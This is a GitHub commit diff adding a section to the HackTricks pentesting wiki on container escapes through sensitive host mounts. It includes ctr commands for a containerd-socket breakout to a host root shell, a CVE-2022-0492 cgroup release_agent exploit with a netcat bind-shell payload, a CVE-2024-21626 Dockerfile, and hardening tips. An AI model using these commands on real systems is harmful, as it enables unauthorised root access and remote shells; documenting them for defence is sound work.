Skip to content

Commit 1e8de4e

Browse files
authored
Merge pull request #1092 from HackTricks-wiki/research_update_src_linux-hardening_privilege-escalation_docker-security_docker-breakout-privilege-escalation_sensitive-mounts_20250710_162429
Research Update Enhanced src/linux-hardening/privilege-escal...
2 parents 84286a1 + a7d319c commit 1e8de4e

File tree

1 file changed

+61
-1
lines changed
  • src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation

1 file changed

+61
-1
lines changed

src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md

Lines changed: 61 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -291,13 +291,73 @@ locate the other containers' filesystems and SA / web identity tokens
291291

292292

293293

294+
### Other Sensitive Host Sockets and Directories (2023-2025)
295+
296+
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
297+
298+
```text
299+
/run/containerd/containerd.sock # containerd CRI socket
300+
/var/run/crio/crio.sock # CRI-O runtime socket
301+
/run/podman/podman.sock # Podman API (rootful or rootless)
302+
/var/run/kubelet.sock # Kubelet API on Kubernetes nodes
303+
/run/firecracker-containerd.sock # Kata / Firecracker
304+
```
305+
306+
Attack example abusing a mounted **containerd** socket:
307+
308+
```bash
309+
# inside the container (socket is mounted at /host/run/containerd.sock)
310+
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
311+
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
312+
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
313+
chroot /host /bin/bash # full root shell on the host
314+
```
315+
316+
A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
317+
318+
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
319+
320+
```bash
321+
# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
322+
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
323+
324+
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492
325+
326+
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
327+
sh -c "echo 0 > /tmp/x/cgroup.procs" # triggers the empty-cgroup event
328+
```
329+
330+
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
331+
332+
### Mount-Related Escape CVEs (2023-2025)
333+
334+
* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
335+
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
336+
337+
```Dockerfile
338+
FROM scratch
339+
WORKDIR /proc/self/fd/4 # 4 == "/" on the host leaked by the runtime
340+
CMD ["/bin/sh"]
341+
```
342+
343+
* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
344+
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
345+
346+
### Hardening Reminders (2025)
347+
348+
1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
349+
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
350+
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
351+
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
352+
294353
### References
295354

355+
- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
356+
- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
296357
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
297358
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
298359
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
299360

300361
{{#include ../../../../banners/hacktricks-training.md}}
301362

302363

303-

0 commit comments

Comments
 (0)